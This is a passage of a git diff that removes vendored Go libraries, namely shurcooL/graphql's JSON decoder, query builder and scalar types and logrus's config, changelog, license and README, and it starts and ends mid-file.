that are highly unlikely to be non-initialisms. -// For instance, "ID" is fine (Freudian code is rare), but "AND" is not. -var initialisms = map[string]struct{}{ - // These are the common initialisms from golint. Keep them in sync - // with https://gotools.org/github.com/golang/lint#commonInitialisms. - "ACL": {}, - "API": {}, - "ASCII": {}, - "CPU": {}, - "CSS": {}, - "DNS": {}, - "EOF": {}, - "GUID": {}, - "HTML": {}, - "HTTP": {}, - "HTTPS": {}, - "ID": {}, - "IP": {}, - "JSON": {}, - "LHS": {}, - "QPS": {}, - "RAM": {}, - "RHS": {}, - "RPC": {}, - "SLA": {}, - "SMTP": {}, - "SQL": {}, - "SSH": {}, - "TCP": {}, - "TLS": {}, - "TTL": {}, - "UDP": {}, - "UI": {}, - "UID": {}, - "UUID": {}, - "URI": {}, - "URL": {}, - "UTF8": {}, - "VM": {}, - "XML": {}, - "XMPP": {}, - "XSRF": {}, - "XSS": {}, - - // Additional common initialisms. - "RSS": {}, -} - -// isBrand reports whether word is a brand. -func isBrand(word string) (string, bool) { - brand, ok := brands[strings.ToLower(word)] - return brand, ok -} - -// brands is the map of brands in the MixedCaps naming convention; -// see https://dmitri.shuralyov.com/idiomatic-go#for-brands-or-words-with-more-than-1-capital-letter-lowercase-all-letters. -// Key is the lower case version of the brand, value is the canonical brand spelling. -// Only add entries that are highly unlikely to be non-brands. -var brands = map[string]string{ - "github": "GitHub", -} diff --git a/vendor/github.com/shurcooL/graphql/internal/jsonutil/graphql.go b/vendor/github.com/shurcooL/graphql/internal/jsonutil/graphql.go deleted file mode 100644 index 15bae246fd..0000000000 --- a/vendor/github.com/shurcooL/graphql/internal/jsonutil/graphql.go +++ /dev/null @@ -1,311 +0,0 @@ -// Package jsonutil provides a function for decoding JSON -// into a GraphQL query data structure. -package jsonutil - -import ( - "bytes" - "encoding/json" - "errors" - "fmt" - "io" - "reflect" - "strings" -) - -// UnmarshalGraphQL parses the JSON-encoded GraphQL response data and stores -// the result in the GraphQL query data structure pointed to by v. -// -// The implementation is created on top of the JSON tokenizer available -// in "encoding/json".Decoder. -func UnmarshalGraphQL(data []byte, v interface{}) error { - dec := json.NewDecoder(bytes.NewReader(data)) - dec.UseNumber() - err := (&decoder{tokenizer: dec}).Decode(v) - if err != nil { - return err - } - tok, err := dec.Token() - switch err { - case io.EOF: - // Expect to get io.EOF. There shouldn't be any more - // tokens left after we've decoded v successfully. - return nil - case nil: - return fmt.Errorf("invalid token '%v' after top-level value", tok) - default: - return err - } -} - -// decoder is a JSON decoder that performs custom unmarshaling behavior -// for GraphQL query data structures. It's implemented on top of a JSON tokenizer. -type decoder struct { - tokenizer interface { - Token() (json.Token, error) - } - - // Stack of what part of input JSON we're in the middle of - objects, arrays. - parseState []json.Delim - - // Stacks of values where to unmarshal. - // The top of each stack is the reflect.Value where to unmarshal next JSON value. - // - // The reason there's more than one stack is because we might be unmarshaling - // a single JSON value into multiple GraphQL fragments or embedded structs, so - // we keep track of them all. - vs [][]reflect.Value -} - -// Decode decodes a single JSON value from d.tokenizer into v. -func (d *decoder) Decode(v interface{}) error { - rv := reflect.ValueOf(v) - if rv.Kind() != reflect.Ptr { - return fmt.Errorf("cannot decode into non-pointer %T", v) - } - d.vs = [][]reflect.Value{{rv.Elem()}} - return d.decode() -} - -// decode decodes a single JSON value from d.tokenizer into d.vs. -func (d *decoder) decode() error { - // The loop invariant is that the top of each d.vs stack - // is where we try to unmarshal the next JSON value we see. - for len(d.vs) > 0 { - tok, err := d.tokenizer.Token() - if err == io.EOF { - return errors.New("unexpected end of JSON input") - } else if err != nil { - return err - } - - switch { - - // Are we inside an object and seeing next key (rather than end of object)? - case d.state() == '{' && tok != json.Delim('}'): - key, ok := tok.(string) - if !ok { - return errors.New("unexpected non-key in JSON input") - } - someFieldExist := false - for i := range d.vs { - v := d.vs[i][len(d.vs[i])-1] - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - var f reflect.Value - if v.Kind() == reflect.Struct { - f = fieldByGraphQLName(v, key) - if f.IsValid() { - someFieldExist = true - } - } - d.vs[i] = append(d.vs[i], f) - } - if !someFieldExist { - return fmt.Errorf("struct field for %q doesn't exist in any of %v places to unmarshal", key, len(d.vs)) - } - - // We've just consumed the current token, which was the key. - // Read the next token, which should be the value, and let the rest of code process it. - tok, err = d.tokenizer.Token() - if err == io.EOF { - return errors.New("unexpected end of JSON input") - } else if err != nil { - return err - } - - // Are we inside an array and seeing next value (rather than end of array)? - case d.state() == '[' && tok != json.Delim(']'): - someSliceExist := false - for i := range d.vs { - v := d.vs[i][len(d.vs[i])-1] - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - var f reflect.Value - if v.Kind() == reflect.Slice { - v.Set(reflect.Append(v, reflect.Zero(v.Type().Elem()))) // v = append(v, T). - f = v.Index(v.Len() - 1) - someSliceExist = true - } - d.vs[i] = append(d.vs[i], f) - } - if !someSliceExist { - return fmt.Errorf("slice doesn't exist in any of %v places to unmarshal", len(d.vs)) - } - } - - switch tok := tok.(type) { - case string, json.Number, bool, nil: - // Value. - - for i := range d.vs { - v := d.vs[i][len(d.vs[i])-1] - if !v.IsValid() { - continue - } - err := unmarshalValue(tok, v) - if err != nil { - return err - } - } - d.popAllVs() - - case json.Delim: - switch tok { - case '{': - // Start of object. - - d.pushState(tok) - - frontier := make([]reflect.Value, len(d.vs)) // Places to look for GraphQL fragments/embedded structs. - for i := range d.vs { - v := d.vs[i][len(d.vs[i])-1] - frontier[i] = v - // TODO: Do this recursively or not? Add a test case if needed. - if v.Kind() == reflect.Ptr && v.IsNil() { - v.Set(reflect.New(v.Type().Elem())) // v = new(T). - } - } - // Find GraphQL fragments/embedded structs recursively, adding to frontier - // as new ones are discovered and exploring them further. - for len(frontier) > 0 { - v := frontier[0] - frontier = frontier[1:] - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - if v.Kind() != reflect.Struct { - continue - } - for i := 0; i < v.NumField(); i++ { - if isGraphQLFragment(v.Type().Field(i)) || v.Type().Field(i).Anonymous { - // Add GraphQL fragment or embedded struct. - d.vs = append(d.vs, []reflect.Value{v.Field(i)}) - frontier = append(frontier, v.Field(i)) - } - } - } - case '[': - // Start of array. - - d.pushState(tok) - - for i := range d.vs { - v := d.vs[i][len(d.vs[i])-1] - // TODO: Confirm this is needed, write a test case. - //if v.Kind() == reflect.Ptr && v.IsNil() { - // v.Set(reflect.New(v.Type().Elem())) // v = new(T). - //} - - // Reset slice to empty (in case it had non-zero initial value). - if v.Kind() == reflect.Ptr { - v = v.Elem() - } - if v.Kind() != reflect.Slice { - continue - } - v.Set(reflect.MakeSlice(v.Type(), 0, 0)) // v = make(T, 0, 0). - } - case '}', ']': - // End of object or array. - d.popAllVs() - d.popState() - default: - return errors.New("unexpected delimiter in JSON input") - } - default: - return errors.New("unexpected token in JSON input") - } - } - return nil -} - -// pushState pushes a new parse state s onto the stack. -func (d *decoder) pushState(s json.Delim) { - d.parseState = append(d.parseState, s) -} - -// popState pops a parse state (already obtained) off the stack. -// The stack must be non-empty. -func (d *decoder) popState() { - d.parseState = d.parseState[:len(d.parseState)-1] -} - -// state reports the parse state on top of stack, or 0 if empty. -func (d *decoder) state() json.Delim { - if len(d.parseState) == 0 { - return 0 - } - return d.parseState[len(d.parseState)-1] -} - -// popAllVs pops from all d.vs stacks, keeping only non-empty ones. -func (d *decoder) popAllVs() { - var nonEmpty [][]reflect.Value - for i := range d.vs { - d.vs[i] = d.vs[i][:len(d.vs[i])-1] - if len(d.vs[i]) > 0 { - nonEmpty = append(nonEmpty, d.vs[i]) - } - } - d.vs = nonEmpty -} - -// fieldByGraphQLName returns an exported struct field of struct v -// that matches GraphQL name, or invalid reflect.Value if none found. -func fieldByGraphQLName(v reflect.Value, name string) reflect.Value { - for i := 0; i < v.NumField(); i++ { - if v.Type().Field(i).PkgPath != "" { - // Skip unexported field. - continue - } - if hasGraphQLName(v.Type().Field(i), name) { - return v.Field(i) - } - } - return reflect.Value{} -} - -// hasGraphQLName reports whether struct field f has GraphQL name. -func hasGraphQLName(f reflect.StructField, name string) bool { - value, ok := f.Tag.Lookup("graphql") - if !ok { - // TODO: caseconv package is relatively slow. Optimize it, then consider using it here. - //return caseconv.MixedCapsToLowerCamelCase(f.Name) == name - return strings.EqualFold(f.Name, name) - } - value = strings.TrimSpace(value) // TODO: Parse better. - if strings.HasPrefix(value, "...") { - // GraphQL fragment. It doesn't have a name. - return false - } - if i := strings.Index(value, "("); i != -1 { - value = value[:i] - } - if i := strings.Index(value, ":"); i != -1 { - value = value[:i] - } - return strings.TrimSpace(value) == name -} - -// isGraphQLFragment reports whether struct field f is a GraphQL fragment. -func isGraphQLFragment(f reflect.StructField) bool { - value, ok := f.Tag.Lookup("graphql") - if !ok { - return false - } - value = strings.TrimSpace(value) // TODO: Parse better. - return strings.HasPrefix(value, "...") -} - -// unmarshalValue unmarshals JSON value into v. -// v must be addressable and not obtained by the use of unexported -// struct fields, otherwise unmarshalValue will panic. -func unmarshalValue(value json.Token, v reflect.Value) error { - b, err := json.Marshal(value) // TODO: Short-circuit (if profiling says it's worth it). - if err != nil { - return err - } - return json.Unmarshal(b, v.Addr().Interface()) -} diff --git a/vendor/github.com/shurcooL/graphql/query.go b/vendor/github.com/shurcooL/graphql/query.go deleted file mode 100644 index e10b77189b..0000000000 --- a/vendor/github.com/shurcooL/graphql/query.go +++ /dev/null @@ -1,131 +0,0 @@ -package graphql - -import ( - "bytes" - "encoding/json" - "io" - "reflect" - "sort" - - "github.com/shurcooL/graphql/ident" -) - -func constructQuery(v interface{}, variables map[string]interface{}) string { - query := query(v) - if len(variables) > 0 { - return "query(" + queryArguments(variables) + ")" + query - } - return query -} - -func constructMutation(v interface{}, variables map[string]interface{}) string { - query := query(v) - if len(variables) > 0 { - return "mutation(" + queryArguments(variables) + ")" + query - } - return "mutation" + query -} - -// queryArguments constructs a minified arguments string for variables. -// -// E.g., map[string]interface{}{"a": Int(123), "b": NewBoolean(true)} -> "$a:Int!$b:Boolean". -func queryArguments(variables map[string]interface{}) string { - // Sort keys in order to produce deterministic output for testing purposes. - // TODO: If tests can be made to work with non-deterministic output, then no need to sort. - keys := make([]string, 0, len(variables)) - for k := range variables { - keys = append(keys, k) - } - sort.Strings(keys) - - var buf bytes.Buffer - for _, k := range keys { - io.WriteString(&buf, "$") - io.WriteString(&buf, k) - io.WriteString(&buf, ":") - writeArgumentType(&buf, reflect.TypeOf(variables[k]), true) - // Don't insert a comma here. - // Commas in GraphQL are insignificant, and we want minified output. - // See https://facebook.github.io/graphql/October2016/#sec-Insignificant-Commas. - } - return buf.String() -} - -// writeArgumentType writes a minified GraphQL type for t to w. -// value indicates whether t is a value (required) type or pointer (optional) type. -// If value is true, then "!" is written at the end of t. -func writeArgumentType(w io.Writer, t reflect.Type, value bool) { - if t.Kind() == reflect.Ptr { - // Pointer is an optional type, so no "!" at the end of the pointer's underlying type. - writeArgumentType(w, t.Elem(), false) - return - } - - switch t.Kind() { - case reflect.Slice, reflect.Array: - // List. E.g., "[Int]". - io.WriteString(w, "[") - writeArgumentType(w, t.Elem(), true) - io.WriteString(w, "]") - default: - // Named type. E.g., "Int". - name := t.Name() - if name == "string" { // HACK: Workaround for https://github.com/shurcooL/githubv4/issues/12. - name = "ID" - } - io.WriteString(w, name) - } - - if value { - // Value is a required type, so add "!" to the end. - io.WriteString(w, "!") - } -} - -// query uses writeQuery to recursively construct -// a minified query string from the provided struct v. -// -// E.g., struct{Foo Int, BarBaz *Boolean} -> "{foo,barBaz}". -func query(v interface{}) string { - var buf bytes.Buffer - writeQuery(&buf, reflect.TypeOf(v), false) - return buf.String() -} - -// writeQuery writes a minified query for t to w. -// If inline is true, the struct fields of t are inlined into parent struct. -func writeQuery(w io.Writer, t reflect.Type, inline bool) { - switch t.Kind() { - case reflect.Ptr, reflect.Slice: - writeQuery(w, t.Elem(), false) - case reflect.Struct: - // If the type implements json.Unmarshaler, it's a scalar. Don't expand it. - if reflect.PtrTo(t).Implements(jsonUnmarshaler) { - return - } - if !inline { - io.WriteString(w, "{") - } - for i := 0; i < t.NumField(); i++ { - if i != 0 { - io.WriteString(w, ",") - } - f := t.Field(i) - value, ok := f.Tag.Lookup("graphql") - inlineField := f.Anonymous && !ok - if !inlineField { - if ok { - io.WriteString(w, value) - } else { - io.WriteString(w, ident.ParseMixedCaps(f.Name).ToLowerCamelCase()) - } - } - writeQuery(w, f.Type, inlineField) - } - if !inline { - io.WriteString(w, "}") - } - } -} - -var jsonUnmarshaler = reflect.TypeOf((*json.Unmarshaler)(nil)).Elem() diff --git a/vendor/github.com/shurcooL/graphql/scalar.go b/vendor/github.com/shurcooL/graphql/scalar.go deleted file mode 100644 index 0f7ceea5e0..0000000000 --- a/vendor/github.com/shurcooL/graphql/scalar.go +++ /dev/null @@ -1,51 +0,0 @@ -package graphql - -// Note: These custom types are meant to be used in queries for now. -// But the plan is to switch to using native Go types (string, int, bool, time.Time, etc.). -// See https://github.com/shurcooL/githubv4/issues/9 for details. -// -// These custom types currently provide documentation, and their use -// is required for sending outbound queries. However, native Go types -// can be used for unmarshaling. Once https://github.com/shurcooL/githubv4/issues/9 -// is resolved, native Go types can completely replace these. - -type ( - // Boolean represents true or false values. - Boolean bool - - // Float represents signed double-precision fractional values as - // specified by IEEE 754. - Float float64 - - // ID represents a unique identifier that is Base64 obfuscated. It - // is often used to refetch an object or as key for a cache. The ID - // type appears in a JSON response as a String; however, it is not - // intended to be human-readable. When expected as an input type, - // any string (such as "VXNlci0xMA==") or integer (such as 4) input - // value will be accepted as an ID. - ID interface{} - - // Int represents non-fractional signed whole numeric values. - // Int can represent values between -(2^31) and 2^31 - 1. - Int int32 - - // String represents textual data as UTF-8 character sequences. - // This type is most often used by GraphQL to represent free-form - // human-readable text. - String string -) - -// NewBoolean is a helper to make a new *Boolean. -func NewBoolean(v Boolean) *Boolean { return &v } - -// NewFloat is a helper to make a new *Float. -func NewFloat(v Float) *Float { return &v } - -// NewID is a helper to make a new *ID. -func NewID(v ID) *ID { return &v } - -// NewInt is a helper to make a new *Int. -func NewInt(v Int) *Int { return &v } - -// NewString is a helper to make a new *String. -func NewString(v String) *String { return &v } diff --git a/vendor/github.com/sirupsen/logrus/.gitignore b/vendor/github.com/sirupsen/logrus/.gitignore deleted file mode 100644 index 6b7d7d1e8b..0000000000 --- a/vendor/github.com/sirupsen/logrus/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -logrus -vendor diff --git a/vendor/github.com/sirupsen/logrus/.travis.yml b/vendor/github.com/sirupsen/logrus/.travis.yml deleted file mode 100644 index 1f953bebdc..0000000000 --- a/vendor/github.com/sirupsen/logrus/.travis.yml +++ /dev/null @@ -1,51 +0,0 @@ -language: go -env: - - GOMAXPROCS=4 GORACE=halt_on_error=1 -matrix: - include: - - go: 1.10.x - install: - - go get github.com/stretchr/testify/assert - - go get golang.org/x/crypto/ssh/terminal - - go get golang.org/x/sys/unix - - go get golang.org/x/sys/windows - script: - - go test -race -v ./... - - go: 1.11.x - env: GO111MODULE=on - install: - - go mod download - script: - - go test -race -v ./... - - go: 1.11.x - env: GO111MODULE=off - install: - - go get github.com/stretchr/testify/assert - - go get golang.org/x/crypto/ssh/terminal - - go get golang.org/x/sys/unix - - go get golang.org/x/sys/windows - script: - - go test -race -v ./... - - go: 1.10.x - install: - - go get github.com/stretchr/testify/assert - - go get golang.org/x/crypto/ssh/terminal - - go get golang.org/x/sys/unix - - go get golang.org/x/sys/windows - script: - - go test -race -v -tags appengine ./... - - go: 1.11.x - env: GO111MODULE=on - install: - - go mod download - script: - - go test -race -v -tags appengine ./... - - go: 1.11.x - env: GO111MODULE=off - install: - - go get github.com/stretchr/testify/assert - - go get golang.org/x/crypto/ssh/terminal - - go get golang.org/x/sys/unix - - go get golang.org/x/sys/windows - script: - - go test -race -v -tags appengine ./... diff --git a/vendor/github.com/sirupsen/logrus/CHANGELOG.md b/vendor/github.com/sirupsen/logrus/CHANGELOG.md deleted file mode 100644 index cb85d9f9f6..0000000000 --- a/vendor/github.com/sirupsen/logrus/CHANGELOG.md +++ /dev/null @@ -1,165 +0,0 @@ -# 1.2.0 -This new release introduces: - * A new method `SetReportCaller` in the `Logger` to enable the file, line and calling function from which the trace has been issued - * A new trace level named `Trace` whose level is below `Debug` - * A configurable exit function to be called upon a Fatal trace - * The `Level` object now implements `encoding.TextUnmarshaler` interface - -# 1.1.1 -This is a bug fix release. - * fix the build break on Solaris - * don't drop a whole trace in JSONFormatter when a field param is a function pointer which can not be serialized - -# 1.1.0 -This new release introduces: - * several fixes: - * a fix for a race condition on entry formatting - * proper cleanup of previously used entries before putting them back in the pool - * the extra new line at the end of message in text formatter has been removed - * a new global public API to check if a level is activated: IsLevelEnabled - * the following methods have been added to the Logger object - * IsLevelEnabled - * SetFormatter - * SetOutput - * ReplaceHooks - * introduction of go module - * an indent configuration for the json formatter - * output colour support for windows - * the field sort function is now configurable for text formatter - * the CLICOLOR and CLICOLOR\_FORCE environment variable support in text formater - -# 1.0.6 - -This new release introduces: - * a new api WithTime which allows to easily force the time of the log entry - which is mostly useful for logger wrapper - * a fix reverting the immutability of the entry given as parameter to the hooks - a new configuration field of the json formatter in order to put all the fields - in a nested dictionnary - * a new SetOutput method in the Logger - * a new configuration of the textformatter to configure the name of the default keys - * a new configuration of the text formatter to disable the level truncation - -# 1.0.5 - -* Fix hooks race (#707) -* Fix panic deadlock (#695) - -# 1.0.4 - -* Fix race when adding hooks (#612) -* Fix terminal check in AppEngine (#635) - -# 1.0.3 - -* Replace example files with testable examples - -# 1.0.2 - -* bug: quote non-string values in text formatter (#583) -* Make (*Logger) SetLevel a public method - -# 1.0.1 - -* bug: fix escaping in text formatter (#575) - -# 1.0.0 - -* Officially changed name to lower-case -* bug: colors on Windows 10 (#541) -* bug: fix race in accessing level (#512) - -# 0.11.5 - -* feature: add writer and writerlevel to entry (#372) - -# 0.11.4 - -* bug: fix undefined variable on solaris (#493) - -# 0.11.3 - -* formatter: configure quoting of empty values (#484) -* formatter: configure quoting character (default is `"`) (#484) -* bug: fix not importing io correctly in non-linux environments (#481) - -# 0.11.2 - -* bug: fix windows terminal detection (#476) - -# 0.11.1 - -* bug: fix tty detection with custom out (#471) - -# 0.11.0 - -* performance: Use bufferpool to allocate (#370) -* terminal: terminal detection for app-engine (#343) -* feature: exit handler (#375) - -# 0.10.0 - -* feature: Add a test hook (#180) -* feature: `ParseLevel` is now case-insensitive (#326) -* feature: `FieldLogger` interface that generalizes `Logger` and `Entry` (#308) -* performance: avoid re-allocations on `WithFields` (#335) - -# 0.9.0 - -* logrus/text_formatter: don't emit empty msg -* logrus/hooks/airbrake: move out of main repository -* logrus/hooks/sentry: move out of main repository -* logrus/hooks/papertrail: move out of main repository -* logrus/hooks/bugsnag: move out of main repository -* logrus/core: run tests with `-race` -* logrus/core: detect TTY based on `stderr` -* logrus/core: support `WithError` on logger -* logrus/core: Solaris support - -# 0.8.7 - -* logrus/core: fix possible race (#216) -* logrus/doc: small typo fixes and doc improvements - - -# 0.8.6 - -* hooks/raven: allow passing an initialized client - -# 0.8.5 - -* logrus/core: revert #208 - -# 0.8.4 - -* formatter/text: fix data race (#218) - -# 0.8.3 - -* logrus/core: fix entry log level (#208) -* logrus/core: improve performance of text formatter by 40% -* logrus/core: expose `LevelHooks` type -* logrus/core: add support for DragonflyBSD and NetBSD -* formatter/text: print structs more verbosely - -# 0.8.2 - -* logrus: fix more Fatal family functions - -# 0.8.1 - -* logrus: fix not exiting on `Fatalf` and `Fatalln` - -# 0.8.0 - -* logrus: defaults to stderr instead of stdout -* hooks/sentry: add special field for `*http.Request` -* formatter/text: ignore Windows for colors - -# 0.7.3 - -* formatter/\*: allow configuration of timestamp layout - -# 0.7.2 - -* formatter/text: Add configuration option for time format (#158) diff --git a/vendor/github.com/sirupsen/logrus/LICENSE b/vendor/github.com/sirupsen/logrus/LICENSE deleted file mode 100644 index f090cb42f3..0000000000 --- a/vendor/github.com/sirupsen/logrus/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Simon Eskildsen - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/github.com/sirupsen/logrus/README.md b/vendor/github.com/sirupsen/logrus/README.md deleted file mode 100644 index 093bb13f83..0000000000 --- a/vendor/github.com/sirupsen/logrus/README.md +++ /dev/null @@ -1,493 +0,0 @@ -# Logrus :walrus: [![Build Status](https://travis-ci.org/sirupsen/logrus.svg?branch=master)](https://travis-ci.org/sirupsen/logrus) [![GoDoc](https://godoc.org/github.com/sirupsen/logrus?status.svg)](https://godoc.org/github.com/sirupsen/logrus) - -Logrus is a structured logger for Go (golang), completely API compatible with -the standard library logger. - -**Seeing weird case-sensitive problems?** It's in the past been possible to -import Logrus as both upper- and lower-case. Due to the Go package environment, -this caused issues in the community and we needed a standard. Some environments -experienced problems with the upper-case variant, so the lower-case was decided. -Everything using `logrus` will need to use the lower-case: -`github.com/sirupsen/logrus`. Any package that isn't, should be changed. - -To fix Glide, see [these -comments](https://github.com/sirupsen/logrus/issues/553#issuecomment-306591437). -For an in-depth explanation of the casing issue, see [this -comment](https://github.com/sirupsen/logrus/issues/570#issuecomment-313933276). - -**Are you interested in assisting in maintaining Logrus?** Currently I have a -lot of obligations, and I am unable to provide Logrus with the maintainership it -needs. If you'd like to help, please reach out to me at `simon at author's -username dot com`. - -Nicely color-coded in development (when a TTY is attached, otherwise just -plain text): - -![Colored](http://i.imgur.com/PY7qMwd.png) - -With `log.SetFormatter(&log.JSONFormatter{})`, for easy parsing by logstash -or Splunk: - -```json -{"animal":"walrus","level":"info","msg":"A group of walrus emerges from the -ocean","size":10,"time":"2014-03-10 19:57:38.562264131 -0400 EDT"} - -{"level":"warning","msg":"The group's number increased tremendously!", -"number":122,"omg":true,"time":"2014-03-10 19:57:38.562471297 -0400 EDT"} - -{"animal":"walrus","level":"info","msg":"A giant walrus appears!", -"size":10,"time":"2014-03-10 19:57:38.562500591 -0400 EDT"} - -{"animal":"walrus","level":"info","msg":"Tremendously sized cow enters the ocean.", -"size":9,"time":"2014-03-10 19:57:38.562527896 -0400 EDT"} - -{"level":"fatal","msg":"The ice breaks!","number":100,"omg":true, -"time":"2014-03-10 19:57:38.562543128 -0400 EDT"} -``` - -With the default `log.SetFormatter(&log.TextFormatter{})` when a TTY is not -attached, the output is compatible with the -[logfmt](http://godoc.org/github.com/kr/logfmt) format: - -```text -time="2015-03-26T01:27:38-04:00" level=debug msg="Started observing beach" animal=walrus number=8 -time="2015-03-26T01:27:38-04:00" level=info msg="A group of walrus emerges from the ocean" animal=walrus size=10 -time="2015-03-26T01:27:38-04:00" level=warning msg="The group's number increased tremendously!" number=122 omg=true -time="2015-03-26T01:27:38-04:00" level=debug msg="Temperature changes" temperature=-4 -time="2015-03-26T01:27:38-04:00" level=panic msg="It's over 9000!" animal=orca size=9009 -time="2015-03-26T01:27:38-04:00" level=fatal msg="The ice breaks!" err=&{0x2082280c0 map[animal:orca size:9009] 2015-03-26 01:27:38.441574009 -0400 EDT panic It's over 9000!} number=100 omg=true -``` -To ensure this behaviour even if a TTY is attached, set your formatter as follows: - -```go - log.SetFormatter(&log.TextFormatter{ - DisableColors: true, - FullTimestamp: true, - }) -``` - -#### Logging Method Name - -If you wish to add the calling method as a field, instruct the logger via: -```go -log.SetReportCaller(true) -``` -This adds the caller as 'method' like so: - -```json -{"animal":"penguin","level":"fatal","method":"github.com/sirupsen/arcticcreatures.migrate","msg":"a penguin swims by", -"time":"2014-03-10 19:57:38.562543129 -0400 EDT"} -``` - -```text -time="2015-03-26T01:27:38-04:00" level=fatal method=github.com/sirupsen/arcticcreatures.migrate msg="a penguin swims by" animal=penguin -``` -Note that this does add measurable overhead - the cost will depend on the version of Go, but is -between 20 and 40% in recent tests with 1.6 and 1.7. You can validate this in your -environment via benchmarks: -``` -go test -bench=.*CallerTracing -``` - - -#### Case-sensitivity - -The organization's name was changed to lower-case--and this will not be changed -back. If you are getting import conflicts due to case sensitivity, please use -the lower-case import: `github.com/sirupsen/logrus`. - -#### Example - -The simplest way to use Logrus is simply the package-level exported logger: - -```go -package main - -import ( - log "github.com/sirupsen/logrus" -) - -func main() { - log.WithFields(log.Fields{ - "animal": "walrus", - }).Info("A walrus appears") -} -``` - -Note that it's completely api-compatible with the stdlib logger, so you can -replace your `log` imports everywhere with `log "github.com/sirupsen/logrus"` -and you'll now have the flexibility of Logrus. You can customize it all you -want: - -```go -package main - -import ( - "os" - log "github.com/sirupsen/logrus" -) - -func init() { - // Log as JSON instead of the default ASCII formatter. - log.SetFormatter(&log.JSONFormatter{}) - - // Output to stdout instead of the default stderr - // Can be any io.Writer, see below for File example - log.SetOutput(os.Stdout) - - // Only log the warning severity or above. - log.SetLevel(log.WarnLevel) -} - -func main() { - log.WithFields(log.Fields{ - "animal": "walrus", - "size": 10, - }).Info("A group of walrus emerges from the ocean") - - log.WithFields(log.Fields{ - "omg": true, - "number": 122, - }).Warn("The group's number increased tremendously!") - - log.WithFields(log.Fields{ - "omg": true, - "number": 100, - }).Fatal("The ice breaks!") - - // A common pattern is to re-use fields between logging statements by re-using - // the logrus.Entry returned from WithFields() - contextLogger := log.WithFields(log.Fields{ - "common": "this is a common field", - "other": "I also should be logged always", - }) - - contextLogger.Info("I'll be logged with common and other field") - contextLogger.Info("Me too") -} -``` - -For more advanced usage such as logging to multiple locations from the same -application, you can also create an instance of the `logrus` Logger: - -```go -package main - -import ( - "os" - "github.com/sirupsen/logrus" -) - -// Create a new instance of the logger. You can have any number of instances. -var log = logrus.New() - -func main() { - // The API for setting attributes is a little different than the package level - // exported logger. See Godoc. - log.Out = os.Stdout - - // You could set this to any `io.Writer` such as a file - // file, err := os.OpenFile("logrus.log", os.O_CREATE|os.O_WRONLY, 0666) - // if err == nil { - // log.Out = file - // } else { - // log.Info("Failed to log to file, using default stderr") - // } - - log.WithFields(logrus.Fields{ - "animal": "walrus", - "size": 10, - }).Info("A group of walrus emerges from the ocean") -} -``` - -#### Fields - -Logrus encourages careful, structured logging through logging fields instead of -long, unparseable error messages. For example, instead of: `log.Fatalf("Failed -to send event %s to topic %s with key %d")`, you should log the much more -discoverable: - -```go -log.WithFields(log.Fields{ - "event": event, - "topic": topic, - "key": key, -}).Fatal("Failed to send event") -``` - -We've found this API forces you to think about logging in a way that produces -much more useful logging messages. We've been in countless situations where just -a single added field to a log statement that was already there would've saved us -hours. The `WithFields` call is optional. - -In general, with Logrus using any of the `printf`-family functions should be -seen as a hint you should add a field, however, you can still use the -`printf`-family functions with Logrus. - -#### Default Fields - -Often it's helpful to have fields _always_ attached to log statements in an -application or parts of one. For example, you may want to always log the -`request_id` and `user_ip` in the context of a request. Instead of writing -`log.WithFields(log.Fields{"request_id": request_id, "user_ip": user_ip})` on -every line, you can create a `logrus.Entry` to pass around instead: - -```go -requestLogger := log.WithFields(log.Fields{"request_id": request_id, "user_ip": user_ip}) -requestLogger.Info("something happened on that request") # will log request_id and user_ip -requestLogger.Warn("something not great happened") -``` - -#### Hooks - -You can add hooks for logging levels. For example to send errors to an exception -tracking service on `Error`, `Fatal` and `Panic`, info to StatsD or log to -multiple places simultaneously, e.g. syslog. - -Logrus comes with [built-in hooks](hooks/). Add those, or your custom hook, in -`init`: - -```go -import ( - log "github.com/sirupsen/logrus" - "gopkg.in/gemnasium/logrus-airbrake-hook.v2" // the package is named "airbrake" - logrus_syslog "github.com/sirupsen/logrus/hooks/syslog" - "log/syslog" -) - -func init() { - - // Use the Airbrake hook to report errors that have Error severity or above to - // an exception tracker. You can create custom hooks, see the Hooks section. - log.AddHook(airbrake.NewHook(123, "xyz", "production")) - - hook, err := logrus_syslog.NewSyslogHook("udp", "localhost:514", syslog.LOG_INFO, "") - if err != nil { - log.Error("Unable to connect to local syslog daemon") - } else { - log.AddHook(hook) - } -} -``` -Note: Syslog hook also support connecting to local syslog (Ex. "/dev/log" or "/var/run/syslog" or "/var/run/log"). For the detail, please check the [syslog hook README](hooks/syslog/README.md). - -A list of currently known of service hook can be found in this wiki [page](https://github.com/sirupsen/logrus/wiki/Hooks) - - -#### Level logging - -Logrus has seven logging levels: Trace, Debug, Info, Warning, Error, Fatal and Panic. - -```go -log.Trace("Something very low level.") -log.Debug("Useful debugging information.") -log.Info("Something noteworthy happened!") -log.Warn("You should probably take a look at this.") -log.Error("Something failed but I'm not quitting.") -// Calls os.Exit(1) after logging -log.Fatal("Bye.") -// Calls panic() after logging -log.Panic("I'm bailing.") -``` - -You can set the logging level on a `Logger`, then it will only log entries with -that severity or anything above it: - -```go -// Will log anything that is info or above (warn, error, fatal, panic). Default. -log.SetLevel(log.InfoLevel) -``` - -It may be useful to set `log.Level = logrus.DebugLevel` in a debug or verbose -environment if your application has that. - -#### Entries - -Besides the fields added with 